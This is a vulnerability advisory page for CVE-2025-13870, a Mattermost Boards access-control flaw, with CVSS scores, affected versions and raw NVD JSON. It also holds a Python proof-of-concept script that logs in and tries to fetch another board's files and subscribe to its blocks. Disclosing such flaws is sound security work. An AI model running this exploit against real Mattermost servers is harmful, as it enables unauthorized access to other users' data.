Security Vulnerability Report
中文
CVE-2025-13870 CVSS 3.1 LOW

CVE-2025-13870

Published: 2025-12-02 10:16:01
Last Modified: 2025-12-03 20:57:21

Description

Mattermost versions 10.11.x <= 10.11.4, 10.5.x <= 10.5.12 fail to validate the user permission when accessing the files and subscribing to the block in Boards, which allows an authenticated user to access other board files and was able to subscribe to the block from other boards that the user does not have access to

CVSS Details

CVSS Score
3.1
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
Mattermost Boards 10.11.x <= 10.11.4
Mattermost Boards 10.5.x <= 10.5.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-13870 PoC - Mattermost Boards权限绕过 # This PoC demonstrates the access control bypass in Mattermost Boards # Requirements: Valid Mattermost account, requests library import requests import json TARGET_URL = "https://your-mattermost-instance.com" USERNAME = "[email protected]" PASSWORD = "password123" TARGET_BOARD_ID = "unauthorized-board-id" TARGET_BLOCK_ID = "unauthorized-block-id" def login(): """Authenticate to Mattermost and get session token""" session = requests.Session() login_url = f"{TARGET_URL}/api/v4/users/login" credentials = {"login_id": USERNAME, "password": PASSWORD} response = session.post(login_url, json=credentials) if response.status_code == 200: token = response.headers.get('Token') print(f"[+] Login successful, Token obtained") return session, token else: print(f"[-] Login failed: {response.status_code}") return None, None def access_unauthorized_board_files(session, token): """Attempt to access files from unauthorized board""" headers = {"Authorization": f"Bearer {token}"} files_url = f"{TARGET_URL}/api/v1/boards/{TARGET_BOARD_ID}/files" response = session.get(files_url, headers=headers) if response.status_code == 200: print(f"[+] Successfully accessed unauthorized board files!") print(f"[+] Response: {json.dumps(response.json(), indent=2)}") return True else: print(f"[-] Access denied (expected if patched): {response.status_code}") return False def subscribe_to_unauthorized_block(session, token): """Attempt to subscribe to block from unauthorized board""" headers = {"Authorization": f"Bearer {token}"} subscribe_url = f"{TARGET_URL}/api/v1/blocks/{TARGET_BLOCK_ID}/subscribe" payload = {"board_id": TARGET_BOARD_ID} response = session.post(subscribe_url, headers=headers, json=payload) if response.status_code in [200, 201]: print(f"[+] Successfully subscribed to unauthorized block!") return True else: print(f"[-] Subscription denied (expected if patched): {response.status_code}") return False def main(): print("[*] CVE-2025-13870 PoC - Mattermost Boards Access Control Bypass") print("[*] Target: Mattermost <= 10.11.4, <= 10.5.12") session, token = login() if not session: return print("\n[*] Testing unauthorized file access...") access_unauthorized_board_files(session, token) print("\n[*] Testing unauthorized block subscription...") subscribe_to_unauthorized_block(session, token) print("\n[*] PoC execution completed") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13870", "sourceIdentifier": "[email protected]", "published": "2025-12-02T10:16:01.270", "lastModified": "2025-12-03T20:57:20.907", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 10.11.x <= 10.11.4, 10.5.x <= 10.5.12 fail to validate the user permission when accessing the files and subscribing to the block in Boards, which allows an authenticated user to access other board files and was able to subscribe to the block from other boards that the user does not have access to"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.5.0", "versionEndExcluding": "10.5.13", "matchCriteriaId": "91D99F7F-B4EE-447C-9B77-82DD64B1D83A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.11.0", "versionEndExcluding": "10.11.5", "matchCriteriaId": "A8368192-621C-4043-827E-DB4F6946AD92"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}